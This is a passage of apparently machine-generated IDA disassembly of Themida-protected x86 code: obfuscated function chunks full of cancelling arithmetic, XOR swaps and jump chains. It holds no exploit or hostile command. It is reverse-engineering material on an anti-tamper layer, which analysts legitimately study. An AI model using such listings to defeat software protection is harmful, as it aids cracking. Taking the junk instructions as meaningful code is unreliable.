		sub	esi, 485423E2h
		add	esi, edi
		add	esi, 485423E2h
		jmp	loc_5A8CC8
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59E8AB:				; CODE XREF: sub_5AE6FD-5E09j
		mov	eax, 145A722Ch
		mov	ecx, eax
		pop	eax
		xor	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		xchg	ebp, dword ptr [esp-14h+arg_10]
		jmp	loc_599657
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59E8C9:				; CODE XREF: sub_59C53B-6AFj
					; sub_5A8C33:loc_5A43D7j
		add	ecx, edx
		jmp	loc_5A268E
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59E8D0:				; CODE XREF: sub_599059:loc_5A8B33j
		push	3AA5h
		mov	[esp+0], ebp
		mov	ebp, 50AB4ACCh
		push	eax
		mov	eax, 8EB0B14h
		add	ebp, 76EA3B23h
		add	ebp, eax
		sub	ebp, 76EA3B23h
		pop	eax
		sub	ebp, 0D264D0Eh
		dec	ebp
		dec	ebp
		add	ebp, 50F5BFBh
		sub	edi, ebp
		pop	ebp
		sub	edi, 45E20593h
		js	loc_5A7C76
		jmp	loc_5A3BD4
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
		sub	ecx, 261D25DFh
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_59E91B:				; CODE XREF: Themida_:005A3966j
					; sub_5A484D+5D68j
		jmp	loc_59BA17
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------


loc_59E920:				; CODE XREF: Themida_:005AA8C7j
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	eax
		xor	eax, ebx
		jmp	loc_59F932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59E944:				; CODE XREF: sub_5AC95F-209j
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		neg	ebx
		jb	loc_5A1298
		shr	ebx, 2
		xor	ebx, 3C10765h
		sub	esp, 4


loc_59E95C:				; CODE XREF: sub_5AC95F-7793j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		add	ebp, ebx
		jmp	loc_5992A8
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59E970:				; CODE XREF: Themida_:005A47C9j
		push	65A8h
		jmp	loc_5A7508
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59E97A:				; CODE XREF: sub_59EF66+20DCj
					; sub_597C68+A732j
		add	eax, edx
		mov	edx, [esp-4+arg_0]
		jmp	loc_5AA1E6
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------


loc_59E984:				; CODE XREF: Themida_:005A1954j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	ecx, 727114FFh
		sub	ecx, edx
		jmp	loc_599B7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59E998:				; CODE XREF: sub_59FFBE+3076j
		pop	esi
		add	esp, 4
		add	edx, 2C9D3EABh
		jmp	loc_59DBF4
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_59E9A7:				; CODE XREF: Themida_:0059A032j
		xor	eax, 94DB2D5Fh
		xor	ebx, eax
		pop	eax
		mov	esi, ebx
		jmp	loc_59CB55
; ---------------------------------------------------------------------------


loc_59E9B6:				; CODE XREF: Themida_:0059B122j
		push	ebp
		mov	ebp, 4A6E3C92h
		jmp	loc_5A8DB4
; ---------------------------------------------------------------------------


loc_59E9C1:				; CODE XREF: Themida_:0059DB8Dj
		pop	ecx
		jmp	loc_5A18EE
; ---------------------------------------------------------------------------


loc_59E9C7:				; CODE XREF: Themida_:005A1C3Cj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59E6CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59E9D5:				; CODE XREF: sub_59C53B-443Ej
					; sub_59B0C4+12B2j
		add	eax, 4
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		pop	esp
		sub	edi, 2F203418h
		add	edi, ecx
		add	edi, 2F203418h
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		push	ebx
		jmp	loc_5AACC4
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_59E9FC:				; CODE XREF: sub_59ACCE+C8B4j
		pop	edx
		xor	ebp, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebp
		xor	ebp, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edi
		mov	edi, 32303255h
		xor	eax, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5A8225
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59EA21:				; CODE XREF: sub_5A7343-50F5j
		pop	edx
		inc	ecx
		shr	ecx, 8
		push	0
		jmp	loc_59968B
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59EA30:				; CODE XREF: sub_5986D6+4BD8j
		push	ecx
		jmp	loc_5AAC9B
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59EA36:				; CODE XREF: sub_5A1B2A-3545j
		neg	edx
		jmp	loc_5AE9F6
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59EA3D:				; CODE XREF: Themida_:005A7441j
		add	edx, 3D8C7516h
		jmp	loc_5AA179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59EA48:				; CODE XREF: sub_5ABE52+20D0j
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		jmp	loc_5ACEE3
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------


loc_59EA53:				; CODE XREF: Themida_:005AA251j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_59EA6A:				; CODE XREF: Themida_:005AE355j
		mov	eax, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		and	esi, 507F6619h
		jo	loc_5A032D
		inc	esi
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A928C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59EAB3:				; CODE XREF: sub_5AC95F-4EABj
		sub	ebx, ecx
		sub	ebx, 1DA2ECBh
		pop	ecx
		sub	ebx, 6E275532h
		jmp	loc_5A711D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59EAC7:				; CODE XREF: sub_5A8C33-E599j
					; Themida_:005A58CEj
		add	esp, 4
		xor	ecx, 0D80F8F98h
		xor	ebp, ecx
		mov	ecx, [esp-14h+arg_10]
		jmp	loc_5A7CBD
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_59EADD:				; CODE XREF: Themida_:00598793j
		xor	[esp], edi
		jmp	loc_5AF130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59EAE5:				; CODE XREF: sub_5AE6FD-AE44j
		add	bl, al
		pop	eax
		push	eax
		push	edx
		mov	dh, 0E2h
		jmp	loc_59BF55
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59EAF1:				; CODE XREF: sub_59B707+79F6j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A428E
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_59EB04:				; CODE XREF: sub_5A34FD-B654j
					; Themida_:005A79D0j
		pop	dx
		push	dx
		push	eax
		jmp	loc_5A5876
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6F21


loc_59EB0E:				; CODE XREF: sub_5A6F21-9ABEj
		sub	ebx, 562D122Eh
		add	ebx, edx
		add	ebx, 562D122Eh
		jmp	loc_5A2C53
; END OF FUNCTION CHUNK	FOR sub_5A6F21

; =============== S U B	R O U T	I N E =======================================



sub_59EB21	proc near		; CODE XREF: sub_5AB88E-11635j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0059A037 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B99D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BC54 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D3AB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A07E5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A11AB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1C0C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A452B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4650 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5CED SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AAF81 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AB95A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005AC1AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ACF2B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AD4C2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AE0AD SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+0], ecx
		push	56218029h
		pop	ecx
		xor	edi, ecx
		pop	ecx
		jmp	loc_5A1C0C
sub_59EB21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59EB38:				; CODE XREF: sub_5ABF4A-132B5j
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	edx, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 520080Eh
		and	ebp, 6B114341h
		add	ebp, 0FF000004h
		add	edx, ebp
		pop	ebp
		jmp	loc_5ACBDA
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59EB6F:				; CODE XREF: sub_599059+6j
		dec	ebx
		jo	loc_5A3E5A
		shr	ebx, 8
		add	ebx, 47A91679h
		jnb	loc_5A42AF
		sub	ebx, 22E3158Ah
		jmp	loc_599939
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_59EB91:				; CODE XREF: sub_5A41D6+AE1Ej
		push	[esp+6+var_8+2]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	al, cl
		push	[esp+6+var_8+2]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	sub_59D7E7
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_59EBB6:				; CODE XREF: sub_5A438E:loc_5A96C7j
		neg	edi
		xor	edi, 8A58CCF0h
		jmp	loc_5A4D4E
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59EBC3:				; CODE XREF: sub_59D99C+A845j
		push	esi
		push	180419DEh
		pop	esi
		xor	esi, 54C75F87h
		mov	edi, esi
		pop	esi
		jmp	loc_5A4319
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_59EBD8:				; CODE XREF: sub_5A9228-E64Ej
		push	eax
		jmp	sub_59D99C
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59EBDE:				; CODE XREF: sub_5AA46D-63FEj
		mov	[esp+0Ch+var_C], eax
		push	[esp+0Ch+var_C]
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	224Dh
		mov	[esp+10h+var_10], ecx
		push	esp
		jmp	loc_5A1F8F
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------


loc_59EBF8:				; CODE XREF: Themida_:005AB621j
		pop	esp
		jmp	loc_59FC95
; ---------------------------------------------------------------------------


loc_59EBFE:				; CODE XREF: Themida_:00597B7Cj
		pop	eax
		push	77A2h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5A43C1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_59EC11	proc near		; CODE XREF: sub_59B707+11430j

; FUNCTION CHUNK AT 00599885 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A37FB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD995 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], edx
		mov	edx, 4
		jmp	loc_599885
sub_59EC11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59EC31:				; CODE XREF: sub_5AB98B-7F93j
		mov	bl, cl
		dec	bl
		mov	cl, bl
		mov	ebx, [esp+0]
		jmp	loc_5A9775
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59EC3F:				; CODE XREF: sub_5A8C33+15j
		push	eax
		jmp	loc_5AC99D
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59EC45:				; CODE XREF: sub_59D99C-2449j
					; Themida_:005A720Aj
		shl	esi, 1
		jnz	loc_59D077
		push	2299h
		jmp	loc_5A10AB
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59EC57:				; CODE XREF: Themida_:005AEE08j
		jmp	loc_5A6D1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59EC5C:				; CODE XREF: sub_5A728F+2033j
		push	ecx
		push	edi
		jmp	loc_5ACD4C
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_59EC63:				; CODE XREF: Themida_:0059B5BBj
		mov	[esp], ebx
		push	eax
		mov	ah, 0BFh
		jmp	loc_5A6872
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_59EC6E:				; CODE XREF: sub_5A0F44-C22j
					; sub_5AC402-1208j
		add	ebx, ebp
		pop	ebp
		sub	ebx, eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A1871
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E35B


loc_59EC81:				; CODE XREF: sub_59E35B+2Aj
		inc	edx
		add	edx, 396D766Bh
		jnb	loc_59974F
		sub	edx, 3B017A7Fh
		jmp	sub_5AEFD6
; END OF FUNCTION CHUNK	FOR sub_59E35B
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_59EC9A:				; CODE XREF: sub_59DBFF+2729j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59EC9F:				; CODE XREF: sub_5AC95F-6C09j
		push	ecx
		mov	ecx, 1362477Ah
		push	eax
		mov	eax, 19FA0D4Dh
		xor	ecx, eax
		jmp	loc_5A70AE
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59ECB2:				; CODE XREF: sub_5ABF4A-1191Fj
					; Themida_:0059FC07j
		mov	edi, ecx
		jmp	loc_5A616A
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_59ECB9:				; CODE XREF: Themida_:0059E5F1j
		add	ecx, 9FE6DE3Dh
		mov	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esi
		mov	esi, 459772FDh
		jmp	loc_59E7A1

; =============== S U B	R O U T	I N E =======================================



sub_59ECE2	proc near		; CODE XREF: Themida_:005A8D79j
					; DATA XREF: Themida_:00597ADCo

var_8		= dword	ptr -8

		mov	eax, [esp+0]
		push	eax
		push	5745h
		mov	[esp+8+var_8], esp
		jmp	sub_59E1B6
sub_59ECE2	endp

; ---------------------------------------------------------------------------


loc_59ECF3:				; CODE XREF: Themida_:005ACA15j
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59ECF8:				; CODE XREF: sub_597C68+14FAAj
		sub	ebp, 55914926h
		jg	loc_599B7D
		xor	ebp, 0B64E8A4Ch
		mov	ecx, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5999D9
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59ED17:				; CODE XREF: sub_59D99C+5FB7j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	[esp+0Ch+var_8]
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		pop	[esp+0Ch+var_C]
		pop	esp
		jmp	sub_59EE24
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_59ED31:				; CODE XREF: sub_5AC402-12EE1j
		mov	[esp], ebx
		mov	bh, 0A9h
		jmp	loc_5AA360
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_59ED3B:				; CODE XREF: sub_5AA500-11A93j
					; sub_59EE24+5522j
		push	[esp-4+arg_0]
		pop	edi
		sub	esp, 4
		jmp	loc_5A691F
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59ED4A:				; CODE XREF: sub_5A28BE-ABCBj
		push	ecx
		mov	ecx, 4DC17948h
		add	ecx, 22D5519Ah
		add	ecx, 8F693522h
		add	esi, ecx
		pop	ecx
		jmp	loc_5A7528
; END OF FUNCTION CHUNK	FOR sub_5A28BE

; =============== S U B	R O U T	I N E =======================================



sub_59ED64	proc near		; DATA XREF: Themida_:00597AACo
		mov	ax, [esp+0]
		push	esi
		jmp	sub_5ADE64
sub_59ED64	endp

; ---------------------------------------------------------------------------


loc_59ED6E:				; CODE XREF: Themida_:005A67B9j
		push	1AD47540h
		pop	ebx
		sub	esi, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	76A2h
		mov	[esp], eax
		jmp	loc_599FD8
; ---------------------------------------------------------------------------


loc_59ED90:				; CODE XREF: Themida_:005AA412j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_59FAF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59EDB1:				; CODE XREF: sub_59CA4A-492j
		sub	ebp, 266149F6h
		not	ebp
		jmp	loc_59E190
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_59EDBE:				; CODE XREF: Themida_:005AE498j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5A8984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_59EDC9:				; CODE XREF: sub_599526+7881j
		add	ecx, 0AB2522C0h
		jmp	loc_5ABFB6
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------


loc_59EDD4:				; CODE XREF: Themida_:005A2E53j
		push	eax
		pop	ebx
		pop	eax
		add	eax, 4A9D1543h
		sub	eax, ebx
		sub	eax, 4A9D1543h
		mov	ebx, [esp]
		jmp	loc_59DCDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59EDEB:				; CODE XREF: sub_5A91EC-1E14j
		push	edx
		push	edi
		jmp	loc_5AC32F
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A3804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59EDF8:				; CODE XREF: sub_59FFBE+D818j
		inc	eax
		push	eax
		not	[esp+4+var_4]
		jmp	loc_59C62B
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_59EE02:				; CODE XREF: sub_5A72FB-578j
		pop	eax
		push	edi
		jmp	loc_599F64
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59EE09:				; CODE XREF: sub_5A600F+498j
		inc	ebp
		js	loc_5A5FD4
		shl	ebp, 8
		jmp	sub_5A8EEF
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_59EE18:				; CODE XREF: Themida_:0059F695j
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5ACF80

; =============== S U B	R O U T	I N E =======================================



sub_59EE24	proc near		; CODE XREF: sub_59D99C+1390j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599D0F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D58E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059ED3B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A10CD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A240B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A4338 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A691F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A7399 SIZE 0000000C BYTES

		push	ebp
		jmp	loc_5A240B
sub_59EE24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59EE2A:				; CODE XREF: sub_59EE40+82FCj
		mov	ah, ch
		pop	ecx
		and	ah, 28h
		add	ah, 36h
		neg	ah
		push	ebx
		mov	bh, 54h
		add	bh, 85h
		jmp	loc_59E083
; END OF FUNCTION CHUNK	FOR sub_59EE40

; =============== S U B	R O U T	I N E =======================================



sub_59EE40	proc near		; CODE XREF: sub_5991B7:loc_5A0C1Fj

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598629 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00598D3C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059976F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599A09 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059A1D8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059A6B9 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059ADB4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BF21 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059CB28 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059DA4B SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0059E083 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059E468 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059EE2A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F59B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F7CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2330 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3875 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3BD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A478C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A47A4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4C35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A518C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A5837 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5BF2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A701E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A7139 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7175 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A7DEA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB2F3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ABA93 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC86A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AD067 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AD207 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005ADA61 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	cl, 1Ah
		jmp	loc_5A2330
sub_59EE40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59EE50:				; CODE XREF: sub_5A3F42-3E4Fj
		pop	esp
		push	eax
		jmp	loc_5986E1
; END OF FUNCTION CHUNK	FOR sub_5A3F42

; =============== S U B	R O U T	I N E =======================================



sub_59EE57	proc near		; CODE XREF: sub_59ACEC+10B0Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598C0A SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059AE37 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C0BB SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0059DF48 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059F809 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A15A5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A27FA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A3592 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005ADCA9 SIZE 0000000F BYTES

		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_598C0A
sub_59EE57	endp

; ---------------------------------------------------------------------------


loc_59EE65:				; CODE XREF: Themida_:005ACAD7j
		mov	eax, [esp]
		push	29A6h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 2
		sub	esp, 4
		jmp	loc_5A646B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59EE92:				; CODE XREF: sub_599059+8FF4j
		pop	ebx
		jmp	loc_59B1FA
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59EE98:				; CODE XREF: sub_59F2C8+1j
		xor	al, bl
		sub	esp, 2
		mov	word ptr [esp+4+var_4],	bx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_59BBDB
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_59EEB2:				; CODE XREF: sub_5AD9CC-583Bj
		pop	[esp+8+var_8]
		jmp	loc_5AD405
